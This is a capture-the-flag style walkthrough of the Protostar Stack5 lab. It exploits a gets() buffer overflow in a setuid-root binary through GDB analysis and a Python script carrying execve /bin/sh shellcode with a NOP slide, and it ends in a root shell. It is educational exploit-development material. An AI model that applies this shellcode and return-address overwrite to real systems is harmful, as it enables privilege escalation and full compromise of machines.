Protostar Stack5

Here are the instructions for the challenge

About
Stack5 is a standard buffer overflow, this time introducing shellcode.

This level is at /opt/protostar/bin/stack5

Hints

At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}


This is the first challenge that includes shellcode. There is no function to trick the program into executing. Instead the challenge wants you to inject your own arbitrary code into memory and trick the program into running that. This is the basis of a real buffer overflow exploit. Once you can trick a program into running your code you can trick the computer into doing anything that you want.

The source code couldn’t be much simpler. It just creates a buffer and reads input into it. Then the program exits. The basics look the same as the last few challenges. I just want to overflow the buffer and overwrite the return address. However this time I will point the return address to another location in the buffer where I will have my shellcode.

I begin by running my program in GDB and disassembling main to get the memory addresses.

disassemble main
Dump of assembler code for function main:
0x080483c4 :	push   ebp
0x080483c5 :	mov    ebp,esp
0x080483c7 :	and    esp,0xfffffff0
0x080483ca :	sub    esp,0x50
0x080483cd :	lea    eax,[esp+0x10]
0x080483d1 :	mov    DWORD PTR [esp],eax
0x080483d4 :	call   0x80482e8 
0x080483d9 :	leave  
0x080483da :	ret    
End of assembler dump.

I set a breakpoint at 0x080483d4 and 0x080483da so I can examine memory before and after my overflow.

break *0x080483d4
break *0x080483da
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
Breakpoint 2 at 0x80483da: file stack5/stack5.c, line 11.

Now I run the program and continue so I can let the gets command execute. As input I just enter 64 capital letter “A”s. When my second breakpoint is hit I take a look at the registers to get the value of EAX.

info registers
eax            0xbffff780	-1073744000
ecx            0xbffff780	-1073744000
edx            0xb7fd9334	-1208118476
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff7cc	0xbffff7cc
ebp            0xbffff848	0xbffff848
esi            0x0	0
edi            0x0	0
eip            0x80483da	0x80483da 
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

EAX is 0xbffff780 and should point to my buffer of “A”s. I read the string at that location to confirm.

x/s 0xbffff780
0xbffff780:	 'A' repeats 64 times

So now I know the beginning address of memory that I can control. My ESP register is pointed to 0xbffff7cc. So the difference between my buffer and the stack pointer is 76 bytes. The top value on the stack right now should be the return address. So If I input 76 characters, then add another 4 characters they should overwrite the return address. I can use this to run code at any location in memory. I confirm this by restarting the program and entering 76 letter “A”s and 4 letter “B”s. Then I read the memory that is pointed to by ESP.

x/s 0xbffff7cc
0xbffff7cc:	 "BBBB"

I start writing a python exploit and instead of writing the letter “B” over my return address I write the address 0xbffff7d0. Then I inclulde some “\xcc” characters which is the code for a breakpoint.

#!/usr/bin/python

junk="A"*76
returnAddress="\xd0\xf7\xff\xbf"
shellcode="\xcc\xcc\xcc\xcc"
overflow=junk+returnAddress+shellcode
print(overflow)

So why did I use this address to overwrite the return address? It is 4 bytes after the return address. So whatever I write to memory directly after the return address should end up at 0xbffff7d0 and then I will “return” to it causing it to run.

I run my exploit and send the output to a file. The I restart the program in gdb and use the exploit.txt file as input.

exploit.py > exploit.output
r < /tmp/exploit.output
x 0xbffff7cc
0xbffff7cc:	0xbffff7d0

Excelent. My return address is set to 0xbffff7d0. Then I examine that memory.

x 0xbffff7d0
0xbffff7d0:	0xcccccccc

There are my breakpoints as expected. When I hit continue I fall into my breakpoints.

continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7d1 in ?? ()

When I examine my registers I can see that EIP is at my breakpoint address.

info registers
eax            0xbffff780	-1073744000
ecx            0xbffff780	-1073744000
edx            0xb7fd9334	-1208118476
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff7d0	0xbffff7d0
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0xbffff7d1	0xbffff7d1
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

So at this point I am redirecting the program to memory that I control and executing code. Next I need to replace my breakpoints with something a little more useful. I am not going to write my own shellcode. There is a lot of useful shellcode here and for this challenge I will use this shellcode which just launches a new shell. I also add a nop slide.

With my new shellcode here is what my python exploit looks like.

#!/usr/bin/python
  
junk="A"*76

returnAddress="\xd0\xf7\xff\xbf"

nop="\x90\x90\x90\x90\x90\x90\x90\x90"

shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

overflow=junk+returnAddress+nop+shellcode
  
print(overflow)

I try running my exploit against the binary but it instantly exits.

./exploit.py | /opt/protostar/bin/stack5

After some research I found that the shellcode is executed but since there is no input it just exits. There is a trick to get around this. First the exploit is run, then cat is run on the same line with no input. Since cat on it’s own accepts input and just prints the output this can be used to pause execution and wait for input. The this whole command is piped to the stack5 binary. The command looks like this.

(/tmp/exploit.py ; cat) | /opt/protostar/bin/stack5

Why is it useful to run a shell on the server using an exploit if I am already using a shell on the server? I print my username, run the exploit, and print my username again.

whoami
user
(/tmp/exploit.py ; cat) | /opt/protostar/bin/stack5
whoami
root

So using this exploit changed my user account from user to root giving me full control of the server. This is called a privilege escalation exploit. Why did that happen? It becomes apparant when I list the permissions of the stack5 binary file.

ls -al stack5
-rwsr-xr-x 1 root root 22612 Nov 24  2011 stack5

The file has the setuid flag set. So when this program is executed it uses the permissions of its owner instead of the permissions of the user running it. The owner of the stack5 file is root. So anything stack5 does it does with the rights of the root user account.

This was an example of a super simple best case exploit. In most cases it’s going to be a lot harder to get everything working correctly. There are only two stack exploit challenges left. I wonder how tricky they will be…

Leave a Reply

Your email address will not be published. Required fields are marked *